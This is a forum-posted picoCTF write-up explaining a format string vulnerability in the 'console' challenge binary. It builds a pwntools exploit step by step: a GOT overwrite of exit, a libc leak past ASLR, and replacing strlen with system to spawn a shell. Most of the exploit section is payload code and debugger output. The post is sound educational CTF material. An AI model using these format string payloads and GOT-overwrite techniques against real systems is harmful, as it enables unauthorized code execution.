picoCTF Write-up ~ Bypassing ASLR via Format String Bug

ctf
exploit
aslr
linux

#1

Hello folks! I hope you’re all doing great. After a disgusting amount of trial and error, I present to you my solution for the console pwnable. Unfortunately, I did not solve the task on time but it was fun nevertheless. I decided to use this challenge as a way to introduce to you one of the ways you can bypass ASLR.

If you have never messed with basic pwning i.e stack/buffer overflows, this write-up might not be your cup of tea. It’ll be quite technical. Firstly I’ll bombard you with theory and then we will move to the actual PoC/exploit, aka the all-time classic @_py way of explaining stuff.

Let’s dive right into, shall we?


###Code Auditing

Though the source code was provided (you can find a link to at the bottom of the write-up), you could easily spot the bug just by reading the disassembly. Since some of you might not be experienced with Reverse Engineering, below are the important parts of code:

[...]

void set_exit_message(char *message) {
    if (!message) {
        printf("No message chosen\n");
        exit(1);
    }
    printf("Exit message set!\n");
    printf(message);  

    append_command('e', message);
    exit(0);
}

void set_prompt(char *prompt) {
    if (!prompt) {
        printf("No prompt chosen\n");
        exit(1);
    }
    if (strlen(prompt) > 10) {
        printf("Prompt too long\n");
        exit(1);
    }
    printf("Login prompt set to: %10s\n", prompt);

    append_command('p', prompt);
    exit(0);
}

[...]

void loop() {
    char buf[1024];
    while (true) {
        printf("Config action: ");
        char *result = fgets(buf, 1024, stdin);
        if (!result) exit(1);
        char *type = strtok(result, " ");
        if (type == NULL) {
            continue;
        }
        char *arg = strtok(NULL, "\n");
        switch (type[0]) {
        case 'l':
            set_login_message(arg);
            break;
        case 'e':
            set_exit_message(arg);
            break;
        case 'p':
            set_prompt(arg);
            break;
        default:
            printf("Command unrecognized.\n");
            /* Fallthrough */
        case 'h':
            print_help();
            break;
        }
    }
}

[...]

Here is the bug:

void set_exit_message(char *message) {
             [...]
    printf("Exit message set!\n");
    printf(message);

    append_command('e', message);
    exit(0);
}

Cute, we’ve got control over printf! For those who do not understand why this is a bug, let me give you a brief rundown. To be honest, there are a bunch of resources on how format string attacks work, but since I’m making the effort to explain the exploit, it’d feel incomplete not to explain the theory behind it. I hope you know the basics of the stack at least, otherwise the following will not make much sense.


###Printf & Stack Analysis

                        +------------+
                        |            |
                        |     ...    |
                        |   8th arg  |
                        +------------+
                        |   7th arg  |
                        +------------+
                        |   ret addr |
                        +------------+
                        |     ...    |
                        | local vars |
                        |     ...    |
                        +------------+

Now you might be asking yourselves, “what’s up with the 7th and 8th argument in the ascii art?”. Well, we are dealing with a 64-bit ELF binary. Meaning, as far as the function calling convention is concerned, the ABI states the following(simplified):


The first 6 integer or pointer arguments to a function are passed in registers. The first is placed in rdi, the second in rsi, the third in rdx, and then rcx, r8 and r9. Only the 7th argument and onwards are passed on the stack.

Interesting. Let’s enter the h4x0r mode and brainstorm a little bit. By typing man 3 printf we get the following intel:

#include <stdio.h>

       int printf(const char *format, ...);

So printf receives “2” arguments:

  • The string format i.e “%d %x %s”.
  • A variable number of arguments.

Ok that sounds cool and all, but how can we exploit this? The key in exploit development and in hacking overall, is being able to see through the abstraction. Let me explain myself further.

Let’s assume we have the following code:

[...]
1. int32_t num = 6;
2. printf("%d", num);
[...]

Here’s the pseudo-assembly for it:

1. mov [rbp - offset], 0x6
2. mov rsi, [rbp - offset]
3. mov rdi, "%d"
4. call printf

Our format specifier includes “%d”. What this whispers into printf’s ear is “yo printf, you are about to get called with one format specifier, %d to be precise. According to the ABI, expect the argument to be in rdi, ok?” Then, printf will read the content of rdi and print the number 6 to stdout. Do you see where this is going? No? Alright, one more example.

[...]
1. int32_t num = 6;
2. printf("%d %d %d %d");
[...]
1. mov [rbp - offset], 0x6
2.    ???
3. call printf

In case you didn’t notice, I changed the format string and the number of arguments being passed to printf. “What will this whisper into printf’s ear?” you ask. Well, “yo printf, you are about to get called with 4 format specifiers, 4 %d’s to be precise. According to the ABI, expect the arguments to be in rdi, rsi and so on, ok?” Now what’s going to happen in this case? Has anything practically changed?

Ofcourse not! Printf is dumb, all it knows is the format specifier. It “trusts” us, the user/program about the content of rdi, rsi etc. As I’ve stated before, we had control over printf. Control over its format specifier argument to be exact. That’s really powerful! Why?

asciicast

The above clip is a demo of the vulnerable CTF task. If you read the source code real quick (shouldn’t take more than 5 mins to understand what it does), you’d realize that set_exit_message essentially receives as an argument whatever we place next to ‘e’ (e stands for exit). Afterwards, it calls printf with that argument. So what gives?

The format string we provided, instructed printf to print its 8 byte integer “arguments” as pointers (%p expects a pointer). The values printed are values that printf finds at the locations it would normally expect arguments. Because printf actually gets one real argument, namely the pointer to buf (passed in %rdi), it will expect the next 5 arguments within the remaining registers and everything else on the stack. That’s the case with our binary as well! We managed to leak memory!

And the best part? We actually read values “above” set_exit_message’s stack frame! Take a good look at the printf output. Does 0x400aa6 ring a bell? Looks like a text segment address. That’s the return address in set_exit_message’s stack frame, aka a loop’s instruction address!

Moreover, did you notice the 0x7025207025207025 value? Since the architecture is little-endian, converting the hex values to characters, we get the following:

0x25 -> '%'
0x70 -> 'p'
0x20 -> ' '

Holy moly! We leaked main’s stack frame! But more importantly, our own input! That’s the so called read primitive, which basically means we get to read whatever value we want, either in registers, stack or even our own input. You’ll see how crucial that is in the exploitation segment.

Do you understand now what I mean by seeing through the abstraction? We managed to exploit a simple assumption that computer scientists took for granted.


Phew, alrigthy, I hope I made sense folks. Let’s slowly move on to the exploitation part. First of all, this is a pwnable task, which means we need to get a shell (root privs) in order to be able to read the flag text file. Hmm, how can we tackle the task knowing that we have a read primitive? Let’s construct a plan:

  • We managed to read values off of registers and the stack, aka read primitive.

  • We can take advantage of that and read certain values that will be useful to us, such as libc’s base address. If we manage to leak libc’s address, we can calculate addresses of other “pwnable” functions such as execve or system, and get a shell. Note, I say “leak”, because ASLR is activated. Thus, in every execution the libc will have a different base address. Otherwise, if ASLR was off, its address would be hardcoded and our life would be much easier. Libc’s functions are a constant offset away from libc’s base address so we won’t have an issue leaking them once we get the base address.

  • Alright, we can leak libc’s functions, and then what? Let’s pause our plan for a while.

(Note: Though dynamic linking is not a prerequisite to understand the high level view of the exploit, knowing its internals will give you a much better insight of the nitty-gritty details of the exploitation process. I have made quite a detailed write-up on Dynamic Linking internals which can be found here).


###The Dark Side Of Printf

We saw that we have an arbitrary read through the format string bug. But that’s not enough. Wouldn’t be awesome if we could somehow not only read values but also write?

Enter the dark zone folks:


  • %n specifier

If you are not into pwning or programming in C you have probably never seen the “%n” specifier. %n is the gold mine for format string attacks. Using this stackoverflow link as a reference, I’ll explain what %n is capable of.

#include <stdio.h>

int main()
{
  int val;

  printf("blah %n blah\n", &val);

  printf("val = %d\n", val);

  return 0;

}

Output:

blah  blah
val = 5

Simply put, it stores the amount of characters printed on the screen to a variable (providing its address).

Sweet, now we have a write primitive as well! How can we take advantage of that? Since we have an arbitrary write, we can write anything we want to wherever we want (you’ll see how shortly). Let’s resume our plan:

  • We can overwrite any address with a value that makes our life easier.

  • We could overwrite a function’s address with system’s and game over!

  • Nope, not that easily at least. Looking at the source, we can see that after printf is called, exit() is called. This is a bummer, since our plan does not only require an arbitrary write, but an arbitrary read as well. We can’t just leak libc’s base address AND overwrite a function through the same format string. We need to do it in separate steps. But how? Exit() will terminate the program.

  • Unless, we overwrite exit’s address with something else! Hmm, that’s indeed a pretty neat idea. But with what?

  • What about loop’s address?! That sounds like an awesome plan! We can overwrite exit’s address with loop’s, leading to the binary never exiting! That way, we can endlessly enter our bogus input and read/write values with no rush.


  • %[width] modifier

Another dark wizardry of printf is the following code:

[...]
printf("Output:");
printf("%100x", 6);
[...]

Terminal:

> ./demo
Output:                                         6

6 is padded to a size of 100 bytes long. In other words, with the [modifier] part we can instruct printf to print whatever amount of bytes we want. Why is that useful though? Imagine having to write the value 0x1337 to a variable using the %n specifier (keep in mind that function addresses vary from 0x400000 all the way to 0x7fe5b94126a3. That trick will be really helpful to us.). Trying to actually type 0x1337 character by hands is tedious and a waste of time. The above modifier gets the job done easier.


  • %[number]$ specifier

The last trick we’ll be using is the $[number] specifier which helps us refer to certain stack offsets and what not. Demo time:

asciicast

Scroll up to the demo where I showed you the bug in action through the %p specifier. If you count the values that are printed, you will notice that 0x400aa6 is the 9th value. By entering %9$p as I showed above, we can refer to it directly. Imagine replacing ‘p’, with ‘n’. What would have happened? In a different case, it would crash because 0x400aa6 would be overwritten with the amount of characters being printed (which would not be a valid instruction address). In our case, nothing should happen since exit() is called, which means we will never return back to loop().


###Pwning Time

I know this might look like a lot to take in, but without the basics and theory, we are handicapped. Bare in mind, it took me around 3-5 days of straight research in order to get this to work. If you feel like it’s complicated, it’s not. You just need to re-read it a couple of times and play with the binary yourself in order to get a feel of it. Be patient, code is coming soon. It will all make sense (hopefully).

Our plan starts making sense. First step is to overwrite exit’s address with loop’s. Luckily for us, the binary does not have full ASLR on. Meaning, the text segment which includes the machine code, and the Global Offset Table (refer to my Dynamic Linking write-up, I warned you), which includes function pointers to libc (and more), will have a hardcoded address.

Now that we learnt all about the dark side of printf, it’s time to apply this knowledge onto the task.


###Overwriting exit

In order to do that, we first need to place exit’s GOT entry in the format string. The reason for that is that since we have an arbitrary read/write:

  1. We can place exit’s address in the format string (which will be stored on the stack).

  2. Use with the %$[number] specifier to refer to its offset.

  3. Use the %[number] modifier to pad whatever is already printed to a certain number.

  4. Use the %n specifier to write that certain number to exit’s address.

Let’s begin exploring with the terminal and soon we will move to python using pwntools. By the way, not sure if you noticed it, but I decided to include more “live” footage this time than just screenshots. The concept can be confusing so I’ll do my best to be as thorough as possible.

Let the pwning begin:

asciicast

At this point I’d like to thank @exploit who reminded me of the stack alignment because I was stuck trying to figure out why the A’s were getting mixed up. Watch each demo carefully. If I feel there is a need to explain myself further I’ll add comments below the asciinema instance. You are more than welcome to ask me questions in the comments.

Anyway, as shown in the demo, we begin our testing by entering A’s in our format string and then %p’s in order to print them out. We found out that they are the 15th value. Let’s try the %15$p trick this time.

asciicast

Looking good so far. Let’s automate it in python so we won’t have to enter it every time.

# demo.py

from pwn import *

p = process(['./console', 'log'])
pause()

payload  = "exit".ljust(8)
payload += "A"*8
payload += "|%15$p|".rjust(8)

p.sendline(payload)
p.recvline()

p.interactive()

Awesome, now we’ve got control over our input and we know its exact position. Let’s try with exit’s GOT entry this time, 0x601258. Remember, we are dealing with 8-byte chunks so we need to pad the address to 8-bytes long:

# demo.py

from pwn import *

p = process(['./console', 'log'])
pause()

payload  = "exit".ljust(8)
payload += p64(0x601258) # \x58\x12\x60\x00\x00\x00\x00\x00
payload += "|%15$p|".rjust(8)

p.sendline(payload)
p.recvline()

p.interactive()

Let’s see what it does in action.

asciicast

Hm, something is wrong here. Not only did we not get the address, but not even the “|…|” part. Why? Well, in case you didn’t know, printf will stop at a null-byte. Which makes sense! Exit’s GOT entry does have a null-byte. Meaning, printf will read up to ‘\x60’ and then it will stop. How can we fix that? Easy, we just move our address after the format specifier.

#demo.py

from pwn import *

EXIT_GOT = 0x601258

p = process(['./console', 'log'])
pause()

payload  = "exit".ljust(8)
payload += "|%16$p|".rjust(8)
payload += p64(EXIT_GOT)

p.sendline(payload)

p.interactive()

Now our script should work. I’ve changed exit’s position in the string and updated ‘%15$p’ to ‘%16$p’. I’ll let you think about why I changed the specifier offset. After all this explanation it should be clear. Let’s run our script, shall we?

asciicast

Look at that, our address is there! Problem fixed. Unfortunately that’s the bummer with 64-bit addresses but when it comes to 32-bit ones, we wouldn’t have that issue. Either way, the fix was simple. Let’s recap:

  • We’ve managed to get control over our input.

  • We placed exit’s address in the string.

  • In doing so, we managed to find its offset.

  • Knowing its offset we can use %offset$n to write to that address.

Thinking back to our plan, our goal is to overwrite exit’s address with loop()'s. I know beforehand that exit’s GOT entry points to 0x400736. That’s because exit has not been called yet and thus it points to its PLT entry which has executable code to find exit’s address in libc. So what we want is this:

0x400736 => 0x4009bd

We don’t have to overwrite the whole address as you can see. Only its 2 lower bytes. Now I will demonstrate how %n can be used. You will notice that demo will be kinda slow. That’s because asciinema does not record 2 terminals at a time and I’ll be using two. One to run the binary and one to use gdb and attach to it. Updated script:

#demo.py

from pwn import *

EXIT_GOT = 0x601258

p = process(['./console', 'log'])
pause()

payload  = "exit".ljust(8)
payload += "|%17$n|".rjust(16)
payload += p64(EXIT_GOT)

p.sendline(payload)

p.interactive()

First I will show what’s happening without the help of GDB and then I’ll fire it up.

asciicast

We get a segfault, which makes sense, right? We overwrote exit’s address with the amount of characters being printed, which is too little and thus not a legal address to jump to. Let’s see what GDB has to say about this.

asciicast

As shown above, I attached to the running binary with GDB and pressed enter in my 2nd terminal to send the input. It’s pretty clear that exit’s address got overwritten.

0x400736 => 0x0000000d

This is definitely not what we want as the result, but we are getting there! We can use our printf magic tricks and make it work.

  • %[number]

In order to increase the number of bytes being printed.

  • %hn specifier

I didn’t mention it earlier, but it’s time to introduce you to yet another dark side of printf. With %hn we can overwrite the address partially. %hn has the ability to overwrite only the 2 bytes of our variable, exit’s address in our case. I said it earlier that we don’t need to overwrite the whole address, only its lower 2 bytes since the higher 2 bytes are the same. I know, I know, confusing, but hey, that’s why a demo is on its way!

Updated script:

#demo.py

from pwn import *

EXIT_GOT = 0x601258

p = process(['./console', 'log'])
pause()

payload  = "exit".ljust(8)
payload += "|%17$hn|".rjust(16)
payload += p64(EXIT_GOT)

p.sendline(payload)

p.interactive()

asciicast

Bam! We went from 0x0000000d to 0x0040000c. Partial overwrite folks! Now let’s think carefully. We want 0x09bd to be the 2 lower bytes. All we have to do is:

  • Convert 0x09bd to decimal.
  • Use that number in the form of %2493x. You will notice that the 2 lower bytes will be slightly off but we can adjust that as you’ll see soon. Let’s update our script:
#demo.py

from pwn import *

EXIT_GOT = 0x601258
LOOP     = 0x4009bd

p = process(['./console', 'log'])
pause()

payload  = "exit".ljust(8)
payload += ("%%%du|%%17$hn|" % 2493).rjust(16)
payload += p64(EXIT_GOT)

p.sendline(payload)

p.interactive()

asciicast

Looks like it worked! Well, almost. We just need to subtract 6 and we should be golden! Updated script:

#demo.py

from pwn import *

EXIT_GOT = 0x601258
LOOP     = 0x4009bd

p = process(['./console', 'log'])
pause()

payload  = "exit".ljust(8)
payload += ("%%%du|%%17$hn|" % 2487).rjust(16)
payload += p64(EXIT_GOT)

p.sendline(payload)

p.interactive()

asciicast

Boom! We successfully overwrote exit’s address with loop’s. So every time exit gets called, we will jump right back in the beginning and we will be able to enter a different format string, but this time to leak libc’s base address and more.


###Leaking Libc

Time to move on with our plan. Leaking libc is not that hard. With a little bit of code we can resolve its base address in no time.

def leak(addr):
    info("Leaking libc base address")

    payload  = "exit".ljust(8)
    payload += "|%17$s|".rjust(8)
    payload += "blablala"
    payload += p64(addr)

    p.sendline(payload)
    p.recvline()

    data   = p.recvuntil("blablala")
    fgets  = data.split('|')[1]
    fgets  = hex(u64(fgets.ljust(8, "\x00")))

    return fgets

I will not explain every technical aspect of the snippet since this is not a Python tutorial. This is what I tried to achieve overall:

  • The goal is to leak libc’s base address.

  • We can accomplish that by leaking a libc’s function address. Fgets() in our case would be a wise choice since it’s already been resolved. In particular, I entered fgets’s GOT entry which contains the actual address.

  • The %s specifier will treat the address we entered as a string of bytes. Meaning, it will try to read what’s IN the GOT entry.

  • The output will be a stream of raw bytes.

  • I used the u64() function to convert the raw bytes to an actual address.

  • Once we find its address, we subtract its libc offset from it and we get the base address.

I made the exploit a little cleaner:

#demo.py

from pwn import *
import sys

HOST = 'shell2017.picoctf.com'
PORT = '47232'


LOOP          = 0x4009bd
STRLEN_GOT    = 0x601210
EXIT_GOT      = 0x601258
FGETS_GOT     = 0x601230
FGETS_OFFSET  = 0x6dad0
SYSTEM_OFFSET = 0x45390
STRLEN_OFFSET = 0x8ab70

def info(msg):
    log.info(msg)

def leak(addr):
    info("Leaking libc base address")

    payload  = "exit".ljust(8)
    payload += "|%17$s|".rjust(8)
    payload += "blablala"
    payload += p64(addr)

    p.sendline(payload)
    p.recvline()

    data   = p.recvuntil("blablala")
    fgets  = data.split('|')[1]
    fgets  = hex(u64(fgets.ljust(8, "\x00")))

    return fgets

def overwrite(addr, pad):
    payload  = "exit".ljust(8)
    payload += ("%%%du|%%17$hn|" % pad).rjust(16)
    payload += p64(addr)

    p.sendline(payload)
    p.recvline()

    return

def exploit(p):
    info("Overwriting exit with loop")

    pad = (LOOP & 0xffff) - 6
    overwrite(EXIT_GOT, pad)

    FGETS_LIBC  = leak(FGETS_GOT)
    LIBC_BASE   = hex(int(FGETS_LIBC, 16) - FGETS_OFFSET)
    SYSTEM_LIBC = hex(int(LIBC_BASE, 16) + SYSTEM_OFFSET)
    STRLEN_LIBC = hex(int(LIBC_BASE, 16) + STRLEN_OFFSET)

    info("system:   %s" % SYSTEM_LIBC)
    info("strlen:   %s" % STRLEN_LIBC)
    info("libc:     %s" % LIBC_BASE)

    p.interactive()

if __name__ == "__main__":
    log.info("For remote: %s HOST PORT" % sys.argv[0])
    if len(sys.argv) > 1:
        p = remote(sys.argv[1], int(sys.argv[2]))
        exploit(p)
    else:
        p = process(['./console', 'log'])
        pause()
        exploit(p)

Just some notes on how to find the libc the binary uses and how to find the function offsets:

> ldd console
  [...]
  libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6
  [...]
> readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep fgets
  [...]
  753: 000000000006dad0   417 FUNC    WEAK   DEFAULT   13 [email protected]@GLIBC_2.2.5
  [...]

Let’s watch the magic happen:

asciicast

As you can see, in every execution the libc’s base changes, aka ASLR. But that does not affect us anymore since we overwrote exit with loop().


###Jumping to system

2/3 of our plan is successfully done. All that is left is redirecting code execution to system with the argument being /bin/sh or sh ofcourse.

In case you didn’t notice, I purposely picked strlen as the victim. Why is that? Both system and strlen are invoked with one argument. Thus, once we overwrite strlen with system, system will read what is supposedly strlen’s argument and execute that command.

Looks like we have to go back to step #1 of our exploit. Meaning, we have to overwrite strlen’s libc address with system’s. Luckily for us, they share the same base address so practically we only have to overwrite the lower 4 bytes. For example, let’s use one of our script’s output.

             +-----------------------------+
             |                             |
0x7fb4|21ec|0b70| (strlen) => 0x7fb4|21e7|b390| (system)
         |                            |
         +----------------------------+
           

This is how we can accomplish that:

    # subtract -7 at the end to get the correct offset
    WRITELO =  int(hex(int(SYSTEM_LIBC, 16) & 0xffff), 16) - 7
    WRITEHI = int(hex((int(SYSTEM_LIBC, 16) & 0xffff0000) >> 16), 16) - 7

    # call prompt in order to resolve strlen's libc address.
    p.sendline("prompt asdf")
    p.recvline()

    info("Overwriting strlen with system")
    overwrite(STRLEN_GOT, WRITELO)
    overwrite(STRLEN_GOT+2, WRITEHI)

The only part that deserves a bit of explanation is this one:

    overwrite(STRLEN_GOT, WRITELO)
    overwrite(STRLEN_GOT+2, WRITEHI)

It seems like we overwrite the libc address via two short writes. It could be possible to do it with one but that would print a pretty big amount of padding bytes on the screen so with two writes is a bit cleaner. The concept is still the same. Let’s visualize it as well:

strlen GOT = 0x601210

                    Global Offset Table
                   +--------------------+
                   |        ...         |
                   +--------------------+
                   |        ...         |    ...
                   +--------------------+
                   |        0x21        |   0x601213
               /   +--------------------+
 strlen + 0x2 |    |        0xec        |   0x601212
               \   +--------------------+
                   |        0x0b        |   0x601211
                /  +--------------------+
 strlen + 0x0  |   |        0x70        |   0x601210
                \  +--------------------+

Now it should be more clear why and how we overwrite 2 bytes with each write. I’ll show you each write separately with GDB and then the full exploit. Because I’ll try to provide a view of both the exploit and GDB, the demos might be a bit slow because I’ll be jumping around the terminals. Stay with me.

overwrite(STRLEN_GOT, WRITELO)

Exploit (skip a few seconds):

asciicast

GDB:

asciicast

You might noticed that at some point in the exploit I typed “prompt asdf”. The reason I did that was to resolve strlen’s address since it’s the first time being called. I set a breakpoint in GDB at that point and stepped through the process. First time it went through the PLT stub code in order to resolve itself and once I typed c, its address was resolved and we overwrote its 2 lower bytes.

Before:
system: 0x7fea06160390
strlen: 0x7fea061a5b70

After:
strlen: 0x7fea06160397

The 2 lower bytes are 7 bytes off which is why in the exploit you saw the -7 subtraction. Sometimes it ended up being 5 or 6 bytes off, but it doesn’t matter. Just adjust the value to your needs. In your system it should be the same offset more or less.

Let’s execute the exploit with both writes this times.

Exploit (skip a few seconds):

asciicast

GDB:

asciicast

Before:
system:   0x7fe7a273a390                                                                          
strlen:   0x7fe7a277fb70

After:
strlen:   0x7fe7a273a390

Voila! We successfully overwrote strlen with system! Let’s fire up the exploit without GDB and get shivers.


###PoC Demo

asciicast


###Conclusion

That’s been it folks. I hope I didn’t waste your time. If you feel puzzled, don’t get discouraged, just re-read it a couple of times and research the same topic on google. After reading plenty of examples and implementing one of your own, you’ll be 1337. By the way, the task was a remote one, but the server was kinda slow when the CTF ended so I implemented it locally. The only change that you’d have to make is adjust the libc offsets, which is quite trivial since the libc was provided.

Thank you for taking the time to read my write-up. Feedback is always welcome and much appreciated. If you have any questions, I’d love to help you out if I can. Finally, if you spot any errors in terms of code/syntax/grammar, please let me know. I’ll be looking out for mistakes as well.

You can find my exploit and the binary (source code, libc included) here.

Peace out,
@_py


Linux Internals ~ Dynamic Linking Wizardry
[Pwnable] Do You Even Leak Bruh
Exploit Mitigation Techniques - Stack Canaries
(exploit) #3

Great writeup, keep going ^.^


#4

Holy shit dude this is awesome!!! <3


(xchg rbp, rsp) #5

Long story short. That is a fantastic writeup about format strings vulnerabilities. Asciinema is pretty cool, this way we can see it live. Some people do prefer to have a live demo instead of screenshots. May be you could increase font size in asciinemas for four eyed people like me 8D

Stackframes, GDB, pwnlib script… Nothing’s missing. Thank you.


#6

Thank you so much for the feedback! I’ll try to fix (if possible) the asciinema font. I thought it’d be more comprehensive if I show the exploitation process through vids and not having to explain every bit of an image. I can add screenshots as well if something was unclear to you.

If you have any other recommendation in terms of ways to illustrate the steps better, please let me know.

Cheers!


#7

Hi,
I’m on this challenge and I managed to make it works on my system but the offset on my system seems wrong in the remote server…
How can we find the offset without the libc.so ?


#8

The libc for the binary is provided. I hope you understand why it’s essential.

Check out this video as well. You need the binary’s libc one way or another. You could leak the whole binary’s address space, or use the libc-database which LiveOverflow is using for his task. But, if the libc is provided, which is the case with this one, it’s wise to use that one.


#9

Thank you for your reponse, on the website of picoctf i dont find the libc but we have a ssh access so I got the libc offset on the ssh server :slight_smile:


#11